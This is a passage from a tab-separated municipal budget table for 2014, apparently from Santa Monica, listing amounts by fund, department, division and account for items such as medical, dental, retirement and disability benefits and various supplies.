5691	BA	IS	1	General Fund	310	FIRE	315	TRAINING		UNEMPLOYMENT	806.0	Salaries and Wages	2014	1826.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1826.0
5692	BA	IS	1	General Fund	310	FIRE	315	TRAINING		DISABILITY INSURANCE	806.0	Salaries and Wages	2014	600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	600.0
5693	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		DCAP	808.0	Salaries and Wages	2014	408.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	408.0
5694	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS		DCAP	808.0	Salaries and Wages	2014	492.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	492.0
5695	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		DCAP	808.0	Salaries and Wages	2014	984.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	984.0
5696	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	8742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8742.0
5697	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	25770.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25770.0
5698	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	7207.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7207.0
5699	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE	511749.0	VISION	840.0	Salaries and Wages	2014	2336.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2336.0
5700	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511746.0	MED TRUST - MISC EMPL	840.0	Salaries and Wages	2014	31285.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31285.0
5701	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	94929.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	94929.0
5702	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511749.0	VISION	840.0	Salaries and Wages	2014	964.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	964.0
5703	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2014	645780.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	645780.0
5704	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	6000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6000.0
5705	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511748.0	DENTAL	816.0	Salaries and Wages	2014	23704.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23704.0
5706	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511749.0	VISION	816.0	Salaries and Wages	2014	2909.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2909.0
5707	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511749.0	VISION	816.0	Salaries and Wages	2014	1520.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1520.0
5708	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	6768.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6768.0
5709	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	10165.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10165.0
5710	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511749.0	VISION	840.0	Salaries and Wages	2014	973.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	973.0
5711	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5712	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	569181.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	569181.0
5713	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	640167.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	640167.0
5714	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	14606.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14606.0
5715	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		DCAP	808.0	Salaries and Wages	2014	360.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	360.0
5716	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		DISABILITY INSURANCE	808.0	Salaries and Wages	2014	23228.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23228.0
5717	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DCAP	810.0	Salaries and Wages	2014	552.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	552.0
5718	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	7699.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7699.0
5719	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2014	3033.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3033.0
5720	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	432.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	432.0
5721	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	8872.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8872.0
5722	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	4571.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4571.0
5723	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT		EAP	812.0	Salaries and Wages	2014	1146.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1146.0
5724	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	7740.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7740.0
5725	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		UNEMPLOYMENT	816.0	Salaries and Wages	2014	3283.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3283.0
5726	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EAP	816.0	Salaries and Wages	2014	2188.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2188.0
5727	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	26910.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26910.0
5728	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511730.0	WORKERS' COMP INSURANCE	810.0	Salaries and Wages	2014	43393.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43393.0
5729	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	48374.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48374.0
5730	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	66504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	66504.0
5731	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	487311.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	487311.0
5732	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	43507.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	43507.0
5733	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	48609.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	48609.0
5734	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	23689.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	23689.0
5735	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522320.0	METERED POSTAGE	810.0	 Supplies and Expenses	2014	2917.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2917.0
5736	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	1512.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1512.0
5737	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	3077.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3077.0
5738	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2014	104083.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	104083.0
5739	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	561291.0	UBH-FAMILY PLACE TRANS HOUSING		 Supplies and Expenses	2014	15529.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15529.0
5740	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	24257.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24257.0
5741	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511744.0	MED TRUST - POLICE	806.0	Salaries and Wages	2014	65666.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65666.0
5742	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2014	2662894.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2662894.0
5743	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2014	413862.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	413862.0
5744	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511742.0	MEDICAL - FIRE	806.0	Salaries and Wages	2014	2103259.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2103259.0
5745	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511745.0	MED TRUST - FIRE	806.0	Salaries and Wages	2014	12785.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12785.0
5746	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	135650.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	135650.0
5747	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	121150.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	121150.0
5748	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2014	142230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	142230.0
5749	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511749.0	VISION	812.0	Salaries and Wages	2014	1524.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1524.0
5750	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES	511749.0	VISION	812.0	Salaries and Wages	2014	4263.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4263.0
5751	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	748938.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	748938.0
5752	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	84748.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	84748.0
5753	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511743.0	MEDICAL - MISC. EMPL	806.0	Salaries and Wages	2014	85479.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	85479.0
5754	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL		EAP	804.0	Salaries and Wages	2014	824.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	824.0
5755	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		UNEMPLOYMENT	804.0	Salaries and Wages	2014	6495.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6495.0
5756	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION		DCAP	804.0	Salaries and Wages	2014	624.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	624.0
5757	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	5915.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5915.0
5758	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	5545.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5545.0
5759	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		UNEMPLOYMENT	804.0	Salaries and Wages	2014	34950.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34950.0
5760	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		EAP	804.0	Salaries and Wages	2014	4376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4376.0
5761	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	26776.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	26776.0
5762	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		UNEMPLOYMENT	808.0	Salaries and Wages	2014	3624.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3624.0
5763	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)		EAP	808.0	Salaries and Wages	2014	522.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	522.0
5764	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING		UNEMPLOYMENT	808.0	Salaries and Wages	2014	14648.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14648.0
5765	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4720.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4720.0
5766	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DCAP	810.0	Salaries and Wages	2014	612.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	612.0
5767	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		DISABILITY INSURANCE	810.0	Salaries and Wages	2014	4605.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4605.0
5768	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		DCAP	812.0	Salaries and Wages	2014	1572.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1572.0
5769	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		UNEMPLOYMENT	812.0	Salaries and Wages	2014	11772.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11772.0
5770	BA	IS	1	General Fund	410	LIBRARY	616	PUBLIC AND BRANCH SERVICES		LIFE INSURANCE & AD & D	812.0	Salaries and Wages	2014	9965.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9965.0
5771	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	100887.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	100887.0
5772	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	8690.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8690.0
5773	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	91185.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	91185.0
5774	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	49380.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49380.0
5775	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2014	19081.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	19081.0
5776	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2014	109354.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	109354.0
5777	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511746.0	MED TRUST - MISC. EMPL	812.0	Salaries and Wages	2014	18250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18250.0
5778	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	189443.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	189443.0
5779	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	511746.0	MED TRUST - MISC. EMPL	840.0	Salaries and Wages	2014	79685.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	79685.0
5780	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	1438006.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1438006.0
5781	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511746.0	MED TRUST - MISC. EMPL		Salaries and Wages	2014	12167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12167.0
5782	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511748.0	DENTAL	806.0	Salaries and Wages	2014	112079.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	112079.0
5783	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511748.0	DENTAL	806.0	Salaries and Wages	2014	2566.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2566.0
5784	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	8783.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8783.0
5785	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2014	14416.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	14416.0
5786	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511748.0	DENTAL	804.0	Salaries and Wages	2014	47407.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47407.0
5787	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	1841.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1841.0
5788	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511749.0	VISION	816.0	Salaries and Wages	2014	825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	825.0
5789	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511748.0	DENTAL	816.0	Salaries and Wages	2014	6668.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6668.0
5790	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	8017.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8017.0
5791	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	1491.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1491.0
5792	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		DISABILITY INSURANCE	804.0	Salaries and Wages	2014	2343.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2343.0
5793	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511743.0	MEDICAL - MISC. EMPL	812.0	Salaries and Wages	2014	348548.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	348548.0
5794	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511773.0	RETIREMENT - MISC. EMPL	812.0	Salaries and Wages	2014	298617.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	298617.0
5795	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	10390.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10390.0
5796	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511748.0	DENTAL	806.0	Salaries and Wages	2014	15504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15504.0
5797	BA	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511749.0	VISION	806.0	Salaries and Wages	2014	1798.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1798.0
5798	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511748.0	DENTAL	804.0	Salaries and Wages	2014	9304.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9304.0
5799	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511747.0	CASH-IN-LIEU	804.0	Salaries and Wages	2014	1800.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1800.0
5800	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511749.0	VISION	816.0	Salaries and Wages	2014	4846.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4846.0
5801	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511748.0	DENTAL	816.0	Salaries and Wages	2014	7115.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7115.0
5802	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511748.0	DENTAL	810.0	Salaries and Wages	2014	9102.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9102.0
5803	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511749.0	VISION	810.0	Salaries and Wages	2014	1112.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1112.0
5804	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	1615.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1615.0
5805	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	4681.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4681.0
5806	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2014	12165.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12165.0
5807	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511748.0	DENTAL	810.0	Salaries and Wages	2014	9230.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	9230.0
5808	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511748.0	DENTAL	808.0	Salaries and Wages	2014	76306.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	76306.0
5809	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	511749.0	VISION	808.0	Salaries and Wages	2014	10978.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10978.0
5810	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511748.0	DENTAL	840.0	Salaries and Wages	2014	7751.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	7751.0
5811	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511749.0	VISION	808.0	Salaries and Wages	2014	686.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	686.0
5812	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	1770.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1770.0
5813	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	511773.0	RETIREMENT - MISC. EMPL	806.0	Salaries and Wages	2014	925580.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	925580.0
5814	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	511746.0	MED TRUST - MISC. EMPL	806.0	Salaries and Wages	2014	12128.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12128.0
5815	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2014	112941.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	112941.0
5816	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	511749.0	VISION	804.0	Salaries and Wages	2014	1158.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1158.0
5817	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511748.0	DENTAL	804.0	Salaries and Wages	2014	20900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	20900.0
